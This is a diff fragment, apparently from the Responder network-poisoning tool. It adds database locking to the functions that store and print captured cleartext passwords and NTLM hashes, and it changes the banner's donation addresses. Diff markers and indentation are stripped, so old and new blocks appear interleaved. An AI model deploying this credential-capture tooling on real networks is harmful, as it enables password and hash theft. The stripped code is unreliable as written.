cursor.execute('PRAGMA journal_mode=WAL')
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
if len(result['cleartext']):
print(text("[%s] %s Password : %s" % (result['module'], result['type'], color(result['cleartext'], 3))))
fname = '%s-%s-ClearText-%s.txt' % (result['module'], result['type'], result['client'])
res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND client=? AND LOWER(user)=LOWER(?) AND cleartext=?", (result['module'], result['type'], result['client'], result['user'], result['cleartext']))
else:
fname = '%s-%s-%s.txt' % (result['module'], result['type'], result['client'])
res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND client=? AND LOWER(user)=LOWER(?)", (result['module'], result['type'], result['client'], result['user']))
elif len(result['fullhash']):
print(text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['fullhash'], 3))))
(count,) = res.fetchone()
logfile = os.path.join(settings.Config.ResponderPATH, 'logs', fname)
elif len(result['hash']):
print(text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['hash'], 3))))
if not count:
cursor.execute("INSERT INTO responder VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?)", (result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash']))
cursor.commit()
# Appending auto-ignore list if required
# Except if this is a machine account's hash
if settings.Config.AutoIgnore and not result['user'].endswith('$'):
settings.Config.AutoIgnoreList.append(result['client'])
print(color('[*] Adding client %s to auto-ignore list' % result['client'], 4, 1))
elif len(result['cleartext']):
print(color('[*] Skipping previously captured cleartext password for %s' % result['user'], 3, 1))
text('[*] Skipping previously captured cleartext password for %s' % result['user'])
else:
print(color('[*] Skipping previously captured hash for %s' % result['user'], 3, 1))
text('[*] Skipping previously captured hash for %s' % result['user'])
cursor.execute("UPDATE responder SET timestamp=datetime('now') WHERE user=? AND client=?", (result['user'], result['client']))
cursor.commit()
cursor.close()
if not count or settings.Config.CaptureMultipleHashFromSameHost:
with open(logfile,"a") as outf:
if len(result['cleartext']): # If we obtained cleartext credentials, write them to file
outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace')))
else: # Otherwise, write JtR-style hash string to file
outf.write(result['fullhash'] + '\n')#.encode('utf8', 'replace') + '\n')
if not count or settings.Config.Verbose: # Print output
if len(result['client']):
print(text("[%s] %s Client : %s" % (result['module'], result['type'], color(result['client'], 3))))
if len(result['hostname']):
print(text("[%s] %s Hostname : %s" % (result['module'], result['type'], color(result['hostname'], 3))))
if len(result['user']):
print(text("[%s] %s Username : %s" % (result['module'], result['type'], color(result['user'], 3))))
# Bu order of priority, print cleartext, fullhash, or hash
if len(result['cleartext']):
print(text("[%s] %s Password : %s" % (result['module'], result['type'], color(result['cleartext'], 3))))
elif len(result['fullhash']):
print(text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['fullhash'], 3))))
elif len(result['hash']):
print(text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['hash'], 3))))
# Appending auto-ignore list if required
# Except if this is a machine account's hash
if settings.Config.AutoIgnore and not result['user'].endswith('$'):
settings.Config.AutoIgnoreList.append(result['client'])
print(color('[*] Adding client %s to auto-ignore list' % result['client'], 4, 1))
elif len(result['cleartext']):
print(color('[*] Skipping previously captured cleartext password for %s' % result['user'], 3, 1))
text('[*] Skipping previously captured cleartext password for %s' % result['user'])
else:
print(color('[*] Skipping previously captured hash for %s' % result['user'], 3, 1))
text('[*] Skipping previously captured hash for %s' % result['user'])
cursor.execute("UPDATE responder SET timestamp=datetime('now') WHERE user=? AND client=?", (result['user'], result['client']))
cursor.commit()
cursor.close()
def SavePoisonersToDb(result):
@@ -405,32 +492,37 @@ def SavePoisonersToDb(result):
if not k in result:
result[k] = ''
result['SentToIp'] = result['SentToIp'].replace("::ffff:","")
cursor = sqlite3.connect(settings.Config.DatabaseFile)
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
res = cursor.execute("SELECT COUNT(*) AS count FROM Poisoned WHERE Poisoner=? AND SentToIp=? AND ForName=? AND AnalyzeMode=?", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode']))
(count,) = res.fetchone()
if not count:
cursor.execute("INSERT INTO Poisoned VALUES(datetime('now'), ?, ?, ?, ?)", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode']))
cursor.commit()
with _db_lock:
cursor = sqlite3.connect(settings.Config.DatabaseFile, timeout=10)
cursor.execute('PRAGMA journal_mode=WAL')
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
res = cursor.execute("SELECT COUNT(*) AS count FROM Poisoned WHERE Poisoner=? AND SentToIp=? AND ForName=? AND AnalyzeMode=?", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode']))
(count,) = res.fetchone()
if not count:
cursor.execute("INSERT INTO Poisoned VALUES(datetime('now'), ?, ?, ?, ?)", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode']))
cursor.commit()
cursor.close()
cursor.close()
def SaveDHCPToDb(result):
for k in [ 'MAC', 'IP', 'RequestedIP']:
if not k in result:
result[k] = ''
cursor = sqlite3.connect(settings.Config.DatabaseFile)
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
res = cursor.execute("SELECT COUNT(*) AS count FROM DHCP WHERE MAC=? AND IP=? AND RequestedIP=?", (result['MAC'], result['IP'], result['RequestedIP']))
(count,) = res.fetchone()
if not count:
cursor.execute("INSERT INTO DHCP VALUES(datetime('now'), ?, ?, ?)", (result['MAC'], result['IP'], result['RequestedIP']))
cursor.commit()
with _db_lock:
cursor = sqlite3.connect(settings.Config.DatabaseFile, timeout=10)
cursor.execute('PRAGMA journal_mode=WAL')
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
res = cursor.execute("SELECT COUNT(*) AS count FROM DHCP WHERE MAC=? AND IP=? AND RequestedIP=?", (result['MAC'], result['IP'], result['RequestedIP']))
(count,) = res.fetchone()
if not count:
cursor.execute("INSERT INTO DHCP VALUES(datetime('now'), ?, ?, ?)", (result['MAC'], result['IP'], result['RequestedIP']))
cursor.commit()
cursor.close()
cursor.close()
def Parse_IPV6_Addr(data):
if data[len(data)-4:len(data)] == b'\x00\x1c\x00\x01':
@@ -492,7 +584,7 @@ def StartupMessage():
enabled = color('[ON]', 2, 1)
disabled = color('[OFF]', 1, 1)
print('')
print(color("[*] ", 2, 1) + 'Sponsor this project: [USDT: TNS8ZhdkeiMCT6BpXnj4qPfWo3HpoACJwv] , [BTC: 15X984Qco6bUxaxiR8AmTnQQ5v1LJ2zpNo]\n')
print(color("[*] ", 2, 1) + 'Tips jar:\n USDT -> 0xCc98c1D3b8cd9b717b5257827102940e4E17A19A\n BTC -> bc1q9360jedhhmps5vpl3u05vyg4jryrl52dmazz49\n')
print(color("[+] ", 2, 1) + "Poisoners:")
print(' %-27s' % "LLMNR" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.LLMNR_On_Off) else disabled))
print(' %-27s' % "NBT-NS" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.NBTNS_On_Off) else disabled))
@@ -538,7 +630,6 @@ def StartupMessage():
print(' %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled))
print(' %-27s' % "Force ESS downgrade" + (enabled if settings.Config.NOESS_On_Off == True or settings.Config.LM_On_Off == True else disabled))
print('')
print(color("[+] ", 2, 1) + "Generic Options:")
print(' %-27s' % "Responder NIC" + color('[%s]' % settings.Config.Interface, 5, 1))
print(' %-27s' % "Responder IP" + color('[%s]' % settings.Config.Bind_To, 5, 1))